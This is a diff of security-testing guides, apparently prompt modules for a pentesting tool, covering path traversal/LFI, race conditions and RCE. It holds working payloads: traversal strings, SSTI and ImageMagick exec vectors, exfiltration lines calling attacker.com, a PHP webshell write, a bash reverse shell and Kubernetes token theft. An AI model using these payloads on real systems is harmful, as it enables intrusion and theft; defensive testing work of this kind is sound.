- Path traversal baseline: ../../etc/hosts and C:\\Windows\\win.ini
|
||||
- Encodings: %2e%2e%2f, %252e%252e%252f, ..%2f, ..%5c, mixed UTF-8 (%c0%2e), Unicode dots and slashes
|
||||
- Normalization tests: ....//, ..\\, ././, trailing dot/double dot segments; repeated decoding
|
||||
- Absolute path acceptance: /etc/passwd, C:\\Windows\\System32\\drivers\\etc\\hosts
|
||||
- Server mismatch: /static/..;/../etc/passwd ("..;"), encoded slashes (%2F), double-decoding via upstream
|
||||
</capability_probes>
|
||||
</discovery_techniques>
|
||||
|
||||
<detection_channels>
|
||||
<direct>
|
||||
- Response body discloses file content (text, binary, base64); error pages echo real paths
|
||||
</direct>
|
||||
|
||||
<error_based>
|
||||
- Exception messages expose canonicalized paths or include() warnings with real filesystem locations
|
||||
</error_based>
|
||||
|
||||
<oast>
|
||||
- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
|
||||
</oast>
|
||||
|
||||
<side_effects>
|
||||
- Archive extraction writes files unexpectedly outside target; verify with directory listings or follow-up reads
|
||||
</side_effects>
|
||||
</detection_channels>
|
||||
|
||||
<path_traversal>
|
||||
<bypasses_and_variants>
|
||||
- Encodings: single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
|
||||
- Mixed separators: / and \\ on Windows; // and \\\\ collapse differences across frameworks
|
||||
- Dot tricks: ....// (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
|
||||
- Absolute path injection: bypass joins by supplying a rooted path
|
||||
- Alias/root mismatch (nginx): alias without trailing slash with nested location allows ../ to escape; try /static/../etc/passwd and ";" variants (..;)
|
||||
- Upstream vs backend decoding: proxies/CDNs decoding %2f differently; test double-decoding and encoded dots
|
||||
</bypasses_and_variants>
|
||||
|
||||
<high_value_targets>
|
||||
- /etc/passwd, /etc/hosts, application .env/config.yaml, SSH/keys, cloud creds, service configs/logs
|
||||
- Windows: C:\\Windows\\win.ini, IIS/web.config, programdata configs, application logs
|
||||
- Source code templates and server-side includes; secrets in env dumps
|
||||
</high_value_targets>
|
||||
</path_traversal>
|
||||
|
||||
<lfi>
|
||||
<wrappers_and_techniques>
|
||||
- PHP wrappers: php://filter/convert.base64-encode/resource=index.php (read source), zip://archive.zip#file.txt, data://text/plain;base64, expect:// (if enabled)
|
||||
- Log/session poisoning: inject PHP/templating payloads into access/error logs or session files then include them (paths vary by stack)
|
||||
- Upload temp names: include temporary upload files before relocation; race with scanners
|
||||
- /proc/self/environ and framework-specific caches for readable secrets
|
||||
- Null-byte (legacy): %00 truncation in older stacks; path length truncation tricks
|
||||
</wrappers_and_techniques>
|
||||
|
||||
<template_engines>
|
||||
- PHP include/require; Smarty/Twig/Blade with dynamic template names
|
||||
- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
|
||||
- Seek dynamic template resolution from user input (theme/lang/template)
|
||||
</template_engines>
|
||||
</lfi>
|
||||
|
||||
<rfi>
|
||||
<conditions>
|
||||
- Remote includes (allow_url_include/allow_url_fopen in PHP), custom fetchers that eval/execute retrieved content, SSRF-to-exec bridges
|
||||
- Protocol handlers: http, https, ftp; language-specific stream handlers
|
||||
</conditions>
|
||||
|
||||
<exploitation>
|
||||
- Host a minimal payload that proves code execution; prefer OAST beacons or deterministic output over heavy shells
|
||||
- Chain with upload or log poisoning when remote includes are disabled to reach local payloads
|
||||
</exploitation>
|
||||
</rfi>
|
||||
|
||||
<archive_extraction>
|
||||
<zip_slip>
|
||||
- Files within archives containing ../ or absolute paths escape target extract directory
|
||||
- Test multiple formats: zip/tar/tgz/7z; verify symlink handling and path canonicalization prior to write
|
||||
- Impact: overwrite config/templates or drop webshells into served directories
|
||||
</zip_slip>
|
||||
</archive_extraction>
|
||||
|
||||
<validation>
|
||||
1. Show a minimal traversal read proving out-of-root access (e.g., /etc/hosts) with a same-endpoint in-root control.
|
||||
2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (php://filter base64 of index.php); avoid active code when not permitted.
|
||||
3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads.
|
||||
4. For Zip Slip, create an archive with ../ entries and show write outside target (e.g., marker file read back).
|
||||
5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
|
||||
- Canonicalized paths constrained to an allowlist/root after normalization
|
||||
- Wrappers disabled and includes using constant templates only
|
||||
- Archive extractors that sanitize paths and enforce destination directories
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Sensitive configuration/source disclosure → credential and key compromise
|
||||
- Code execution via inclusion of attacker-controlled content or overwritten templates
|
||||
- Persistence via dropped files in served directories; lateral movement via revealed secrets
|
||||
- Supply-chain impact when report/template engines execute attacker-influenced files
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise.
|
||||
2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for %2f and %2e encodings.
|
||||
3. For LFI, prefer php://filter base64 probes over destructive payloads; enumerate readable logs and sessions.
|
||||
4. Validate extraction code with synthetic archives; include symlinks and deep ../ chains.
|
||||
5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.</remember>
|
||||
</path_traversal_lfi_rfi_guide>
|
||||
@@ -1,194 +1,164 @@
|
||||
<race_conditions_guide>
|
||||
<title>RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY</title>
|
||||
<title>RACE CONDITIONS</title>
|
||||
|
||||
<critical>Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating.</critical>
|
||||
<critical>Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.</critical>
|
||||
|
||||
<high_value_targets>
|
||||
- Payment/checkout processes
|
||||
- Coupon/discount redemption
|
||||
- Account balance operations
|
||||
- Voting/rating systems
|
||||
- Limited resource allocation
|
||||
- User registration (username claims)
|
||||
- Password reset flows
|
||||
- File upload/processing
|
||||
- API rate limits
|
||||
- Loyalty points/rewards
|
||||
- Stock/inventory management
|
||||
- Withdrawal functions
|
||||
</high_value_targets>
|
||||
<scope>
|
||||
- Read–modify–write sequences without atomicity or proper locking
|
||||
- Multi-step operations (check → reserve → commit) with gaps between phases
|
||||
- Cross-service workflows (sagas, async jobs) with eventual consistency
|
||||
- Rate limits, quotas, and idempotency controls implemented at the edge only
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache).
|
||||
2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses.
|
||||
3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections).
|
||||
4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<identify_race_windows>
|
||||
Multi-step processes with gaps between:
|
||||
1. Check phase (validation/verification)
|
||||
2. Use phase (action execution)
|
||||
3. Write phase (state update)
|
||||
|
||||
Look for:
|
||||
- "Check balance then deduct"
|
||||
- "Verify coupon then apply"
|
||||
- "Check inventory then purchase"
|
||||
- "Validate token then consume"
|
||||
- Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume"
|
||||
- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced
|
||||
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
|
||||
- Map cross-service steps: when is state written vs published, and what retries/compensations exist
|
||||
</identify_race_windows>
|
||||
|
||||
<detection_methods>
|
||||
- Parallel requests with same data
|
||||
- Rapid sequential requests
|
||||
- Monitor for inconsistent states
|
||||
- Database transaction analysis
|
||||
- Response timing variations
|
||||
</detection_methods>
|
||||
<signals>
|
||||
- Sequential request fails but parallel succeeds
|
||||
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
|
||||
- Distinct response shapes/timings for simultaneous vs sequential requests
|
||||
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
|
||||
</signals>
|
||||
|
||||
<surface_map>
|
||||
- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
|
||||
- Coupons/discounts: single-use codes, stacking checks, per-user limits
|
||||
- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
|
||||
- Auth flows: password reset/OTP consumption, session minting, device trust
|
||||
- File/object storage: multi-part finalize, version writes, share-link generation
|
||||
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
|
||||
- GraphQL mutations and batch operations; WebSocket actions
|
||||
</surface_map>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_tools>
|
||||
<turbo_intruder>
|
||||
Python script for Burp Suite Turbo Intruder:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=30,
|
||||
requestsPerConnection=100,
|
||||
pipeline=False)
|
||||
<exploitation_techniques>
|
||||
<request_synchronization>
|
||||
- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
|
||||
- Last-byte synchronization: hold requests open and release final byte simultaneously
|
||||
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
|
||||
</request_synchronization>
|
||||
|
||||
for i in range(30):
|
||||
engine.queue(target.req, gate='race1')
|
||||
<idempotency_and_dedup_bypass>
|
||||
- Reuse the same idempotency key across different principals/paths if scope is inadequate
|
||||
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
|
||||
- App-level dedup drops only the response while side effects (emails/credits) still occur
|
||||
</idempotency_and_dedup_bypass>
|
||||
|
||||
engine.openGate('race1')
|
||||
```
|
||||
</turbo_intruder>
|
||||
<atomicity_gaps>
|
||||
- Lost update: read-modify-write increments without atomic DB statements
|
||||
- Partial two-phase workflows: success committed before validation completes
|
||||
- Unique checks done outside a unique index/upsert: create duplicates under load
|
||||
</atomicity_gaps>
|
||||
|
||||
<manual_methods>
|
||||
- Browser developer tools (multiple tabs)
|
||||
- curl with & for background: curl url & curl url &
|
||||
- Python asyncio/aiohttp
|
||||
- Go routines
|
||||
- Node.js Promise.all()
|
||||
</manual_methods>
|
||||
</exploitation_tools>
|
||||
<cross_service_races>
|
||||
- Saga/compensation timing gaps: execute compensation without preventing the original success path
|
||||
- Eventual consistency windows: act in Service B before Service A's write is visible
|
||||
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
|
||||
</cross_service_races>
|
||||
|
||||
<common_vulnerabilities>
|
||||
<financial_races>
|
||||
- Double withdrawal
|
||||
- Multiple discount applications
|
||||
- Balance transfer duplication
|
||||
- Payment bypass
|
||||
- Cashback multiplication
|
||||
</financial_races>
|
||||
|
||||
<authentication_races>
|
||||
- Multiple password resets
|
||||
- Account creation with same email
|
||||
- 2FA bypass
|
||||
- Session generation collision
|
||||
</authentication_races>
|
||||
|
||||
<resource_races>
|
||||
- Inventory depletion bypass
|
||||
- Rate limit circumvention
|
||||
- File overwrite
|
||||
- Token reuse
|
||||
</resource_races>
|
||||
</common_vulnerabilities>
|
||||
<rate_limits_and_quotas>
|
||||
- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
|
||||
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
|
||||
</rate_limits_and_quotas>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<single_packet_attack>
|
||||
HTTP/2 multiplexing for true simultaneous delivery:
|
||||
- All requests in single TCP packet
|
||||
- Microsecond precision
|
||||
- Bypass even mutex locks
|
||||
</single_packet_attack>
|
||||
<optimistic_concurrency_evasion>
|
||||
- Omit If-Match/ETag where optional; supply stale versions if server ignores them
|
||||
- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
|
||||
</optimistic_concurrency_evasion>
|
||||
|
||||
<last_byte_sync>
|
||||
Send all but last byte, then:
|
||||
1. Hold connections open
|
||||
2. Send final byte simultaneously
|
||||
3. Achieve nanosecond precision
|
||||
</last_byte_sync>
|
||||
<database_isolation>
|
||||
- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
|
||||
- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
|
||||
- Lock granularity issues: row vs table; application locks held only in-process
|
||||
</database_isolation>
|
||||
|
||||
<connection_warming>
|
||||
Pre-establish connections:
|
||||
1. Create connection pool
|
||||
2. Prime with dummy requests
|
||||
3. Send race requests on warm connections
|
||||
</connection_warming>
|
||||
<distributed_locks>
|
||||
- Redis locks without NX/EX or fencing tokens allow multiple winners
|
||||
- Locks stored in memory on a single node; bypass by hitting other nodes/regions
|
||||
</distributed_locks>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<distributed_attacks>
|
||||
- Multiple source IPs
|
||||
- Different user sessions
|
||||
- Varied request headers
|
||||
- Geographic distribution
|
||||
</distributed_attacks>
|
||||
|
||||
<timing_optimization>
|
||||
- Measure server processing time
|
||||
- Align requests with server load
|
||||
- Exploit maintenance windows
|
||||
- Target async operations
|
||||
</timing_optimization>
|
||||
- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
|
||||
- Switch methods/content-types/endpoints that trigger the same state change via different code paths
|
||||
- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
|
||||
- Degrade the target (large payloads, slow endpoints) to widen race windows
|
||||
</bypass_techniques>
|
||||
|
||||
<specific_scenarios>
|
||||
<limit_bypass>
|
||||
"Limited to 1 per user" → Send N parallel requests
|
||||
Results: N successful purchases
|
||||
</limit_bypass>
|
||||
<special_contexts>
|
||||
<graphql>
|
||||
- Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity
|
||||
- Persisted queries and aliases can hide multiple state changes in one request
|
||||
</graphql>
|
||||
|
||||
<balance_manipulation>
|
||||
Transfer $100 from account with $100 balance:
|
||||
- 10 parallel transfers
|
||||
- Each checks balance: $100 available
|
||||
- All proceed: -$900 balance
|
||||
</balance_manipulation>
|
||||
<websocket>
|
||||
- Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked
|
||||
</websocket>
|
||||
|
||||
<vote_manipulation>
|
||||
Single vote limit:
|
||||
- Send multiple vote requests simultaneously
|
||||
- All pass validation
|
||||
- Multiple votes counted
|
||||
</vote_manipulation>
|
||||
</specific_scenarios>
|
||||
<files_and_storage>
|
||||
- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently
|
||||
</files_and_storage>
|
||||
|
||||
<auth_flows>
|
||||
- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic
|
||||
</auth_flows>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- Race + Business logic: violate invariants (double-refund, limit slicing)
|
||||
- Race + IDOR: modify or read others' resources before ownership checks complete
|
||||
- Race + CSRF: trigger parallel actions from a victim to amplify effects
|
||||
- Race + Caching: stale caches re-serve privileged states after concurrent changes
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
To confirm race condition:
|
||||
1. Demonstrate parallel execution success
|
||||
2. Show single request fails
|
||||
3. Prove timing dependency
|
||||
4. Document financial/security impact
|
||||
5. Achieve consistent reproduction
|
||||
1. Single request denied; N concurrent requests succeed where only 1 should.
|
||||
2. Durable state change proven (ledger entries, inventory counts, role/flag changes).
|
||||
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs.
|
||||
4. Evidence across channels (e.g., REST and GraphQL) if applicable.
|
||||
5. Include before/after state and exact request set used.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT a race condition if:
|
||||
- Idempotent operations
|
||||
- Proper locking mechanisms
|
||||
- Atomic database operations
|
||||
- Queue-based processing
|
||||
- No security impact
|
||||
- Truly idempotent operations with enforced ETag/version checks or unique constraints
|
||||
- Serializable transactions or correct advisory locks/queues
|
||||
- Visual-only glitches without durable state change
|
||||
- Rate limits that reject excess with atomic counters
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Financial loss (double spending)
|
||||
- Resource exhaustion
|
||||
- Data corruption
|
||||
- Business logic bypass
|
||||
- Privilege escalation
|
||||
- Financial loss (double spend, over-issuance of credits/refunds)
|
||||
- Policy/limit bypass (quotas, single-use tokens, seat counts)
|
||||
- Data integrity corruption and audit trail inconsistencies
|
||||
- Privilege or role errors due to concurrent updates
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Use HTTP/2 for better synchronization
|
||||
2. Automate with Turbo Intruder
|
||||
3. Test payment flows extensively
|
||||
4. Monitor database locks
|
||||
5. Try different concurrency levels
|
||||
6. Test async operations
|
||||
7. Look for compensating transactions
|
||||
8. Check mobile app endpoints
|
||||
9. Test during high load
|
||||
10. Document exact timing windows
|
||||
1. Favor HTTP/2 with warmed connections; add last-byte sync for precision.
|
||||
2. Start small (N=5–20), then scale; too much noise can mask the window.
|
||||
3. Target read–modify–write code paths and endpoints with idempotency keys.
|
||||
4. Compare REST vs GraphQL vs WebSocket; protections often differ.
|
||||
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics.
|
||||
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks.
|
||||
7. Use correlation IDs and logs to prove concurrent interleaving.
|
||||
8. Widen windows by adding server load or slow backend dependencies.
|
||||
9. Validate on production-like latency; some races only appear under real load.
|
||||
10. Document minimal, repeatable request sets that demonstrate durable impact.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable.</remember>
|
||||
<remember>Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.</remember>
|
||||
</race_conditions_guide>
|
||||
|
||||
@@ -1,222 +1,154 @@
|
||||
<rce_vulnerability_guide>
|
||||
<title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
|
||||
<title>REMOTE CODE EXECUTION (RCE)</title>
|
||||
|
||||
<critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
|
||||
<critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
|
||||
|
||||
<common_injection_contexts>
|
||||
- System commands: ping, nslookup, traceroute, whois
|
||||
- File operations: upload, download, convert, resize
|
||||
- PDF generators: wkhtmltopdf, phantomjs
|
||||
- Image processors: ImageMagick, GraphicsMagick
|
||||
- Media converters: ffmpeg, sox
|
||||
- Archive handlers: tar, zip, 7z
|
||||
- Version control: git, svn operations
|
||||
- LDAP queries
|
||||
- Database backup/restore
|
||||
- Email sending functions
|
||||
</common_injection_contexts>
|
||||
<scope>
|
||||
- OS command execution via wrappers (shells, system utilities, CLIs)
|
||||
- Dynamic evaluation: template engines, expression languages, eval/vm
|
||||
- Insecure deserialization and gadget chains across languages
|
||||
- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
|
||||
- SSRF→internal services that expose execution primitives (FastCGI, Redis)
|
||||
- Container/Kubernetes escalation from app RCE to node/cluster compromise
|
||||
</scope>
|
||||
|
||||
<detection_methods>
|
||||
<methodology>
|
||||
1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
|
||||
2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
|
||||
3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
|
||||
4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
|
||||
</methodology>
|
||||
|
||||
<detection_channels>
|
||||
<time_based>
|
||||
- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
|
||||
- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
|
||||
- PowerShell: ;Start-Sleep -s 10 #
|
||||
- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
|
||||
- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
|
||||
</time_based>
|
||||
|
||||
<dns_oob>
|
||||
- nslookup $(whoami).attacker.com
|
||||
- ping $(hostname).attacker.com
|
||||
- curl http://$(cat /etc/passwd | base64).attacker.com
|
||||
</dns_oob>
|
||||
<oast>
|
||||
- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
|
||||
- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
|
||||
</oast>
|
||||
|
||||
<output_based>
|
||||
- Direct: ;cat /etc/passwd
|
||||
- Encoded: ;cat /etc/passwd | base64
|
||||
- Hex: ;xxd -p /etc/passwd
|
||||
- Direct: ;id;uname -a;whoami
|
||||
- Encoded: ;(id;hostname)|base64; hex via xxd -p
|
||||
</output_based>
|
||||
</detection_methods>
|
||||
</detection_channels>
|
||||
|
||||
<command_injection_vectors>
|
||||
<basic_payloads>
|
||||
; id
|
||||
| id
|
||||
|| id
|
||||
& id
|
||||
&& id
|
||||
`id`
|
||||
$(id)
|
||||
${IFS}id
|
||||
</basic_payloads>
|
||||
<command_injection>
|
||||
<delimiters_and_operators>
|
||||
- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
|
||||
</delimiters_and_operators>
|
||||
|
||||
<bypass_techniques>
|
||||
- Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
|
||||
- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
|
||||
- Command substitution: $(a=c;b=at;$a$b /etc/passwd)
|
||||
- Encoding: echo 'aWQ=' | base64 -d | sh
|
||||
- Case variation: WhOaMi (Windows)
|
||||
</bypass_techniques>
|
||||
</command_injection_vectors>
|
||||
<argument_injection>
|
||||
- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
|
||||
- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
|
||||
</argument_injection>
|
||||
|
||||
<language_specific_rce>
|
||||
<php>
|
||||
- eval($_GET['cmd'])
|
||||
- system(), exec(), shell_exec(), passthru()
|
||||
- preg_replace with /e modifier
|
||||
- assert() with string input
|
||||
- unserialize() exploitation
|
||||
</php>
|
||||
<path_and_builtin_confusion>
|
||||
- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
|
||||
- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
|
||||
</path_and_builtin_confusion>
|
||||
|
||||
<python>
|
||||
- eval(), exec()
|
||||
- subprocess.call(shell=True)
|
||||
- os.system()
|
||||
- pickle deserialization
|
||||
- yaml.load()
|
||||
</python>
|
||||
<evasion>
|
||||
- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
|
||||
- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
|
||||
- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
|
||||
</evasion>
|
||||
</command_injection>
|
||||
|
||||
<java>
|
||||
- Runtime.getRuntime().exec()
|
||||
- ProcessBuilder
|
||||
- ScriptEngine eval
|
||||
- JNDI injection
|
||||
- Expression Language injection
|
||||
</java>
|
||||
<template_injection>
|
||||
- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
||||
- Move from expression to code execution primitives (read file, run command)
|
||||
- Minimal probes:
|
||||
{% raw %}
|
||||
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
||||
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
||||
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
|
||||
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
||||
{% endraw %}
|
||||
</template_injection>
|
||||
|
||||
<nodejs>
|
||||
- eval()
|
||||
- child_process.exec()
|
||||
- vm.runInContext()
|
||||
- require() pollution
|
||||
</nodejs>
|
||||
</language_specific_rce>
|
||||
<deserialization_and_el>
|
||||
- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
||||
- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
|
||||
- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
|
||||
- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
|
||||
- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
|
||||
</deserialization_and_el>
|
||||
|
||||
<advanced_exploitation>
|
||||
<polyglot_payloads>
|
||||
Works in multiple contexts:
|
||||
;id;#' |id| #" |id| #
|
||||
${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
|
||||
</polyglot_payloads>
|
||||
<media_and_document_pipelines>
|
||||
- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
|
||||
{% raw %}
|
||||
Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
|
||||
{% endraw %}
|
||||
- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
|
||||
- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
|
||||
- LaTeX: \write18/--shell-escape, \input piping; pandoc filters
|
||||
- ffmpeg: concat/protocol tricks mediated by compile-time flags
|
||||
</media_and_document_pipelines>
|
||||
|
||||
<blind_rce>
|
||||
- DNS exfiltration: $(whoami).evil.com
|
||||
- HTTP callbacks: curl evil.com/$(id)
|
||||
- Time delays for boolean extraction
|
||||
- Write to web root: echo '<?php system($_GET["cmd"]); ?>' > /var/www/shell.php
|
||||
</blind_rce>
|
||||
<ssrf_to_rce>
|
||||
- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
|
||||
- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
|
||||
- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
||||
</ssrf_to_rce>
|
||||
|
||||
<chained_exploitation>
|
||||
1. Command injection → Write webshell
|
||||
2. File upload → LFI → RCE
|
||||
3. XXE → SSRF → internal RCE
|
||||
4. SQLi → INTO OUTFILE → RCE
|
||||
</chained_exploitation>
|
||||
</advanced_exploitation>
|
||||
|
||||
<specific_contexts>
|
||||
<imagemagick>
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
|
||||
pop graphic-context
|
||||
</imagemagick>
|
||||
|
||||
<ghostscript>
|
||||
%!PS
|
||||
/outfile (%pipe%id) (w) file def
|
||||
</ghostscript>
|
||||
|
||||
<ffmpeg>
|
||||
#EXTM3U
|
||||
#EXT-X-TARGETDURATION:1
|
||||
#EXTINF:1.0,
|
||||
concat:|file:///etc/passwd
|
||||
</ffmpeg>
|
||||
|
||||
<latex>
|
||||
\immediate\write18{id > /tmp/pwn}
|
||||
\input{|"cat /etc/passwd"}
|
||||
</latex>
|
||||
</specific_contexts>
|
||||
|
||||
<container_escapes>
|
||||
<container_and_kubernetes>
|
||||
<docker>
|
||||
- Privileged containers: mount host filesystem
|
||||
- Docker.sock exposure
|
||||
- Kernel exploits
|
||||
- /proc/self/exe overwrite
|
||||
- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
|
||||
- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
|
||||
</docker>
|
||||
|
||||
<kubernetes>
|
||||
- Service account tokens
|
||||
- Kubelet API access
|
||||
- Container breakout to node
|
||||
- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
|
||||
- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
|
||||
- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
|
||||
</kubernetes>
|
||||
</container_escapes>
|
||||
|
||||
<waf_bypasses>
|
||||
- Unicode normalization
|
||||
- Double URL encoding
|
||||
- Case variation mixing
|
||||
- Null bytes: %00
|
||||
- Comments: /**/i/**/d
|
||||
- Alternative commands: hostname vs uname -n
|
||||
- Path traversal: /usr/bin/id vs id
|
||||
</waf_bypasses>
|
||||
</container_and_kubernetes>
|
||||
|
||||
<post_exploitation>
|
||||
<reverse_shells>
|
||||
Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
|
||||
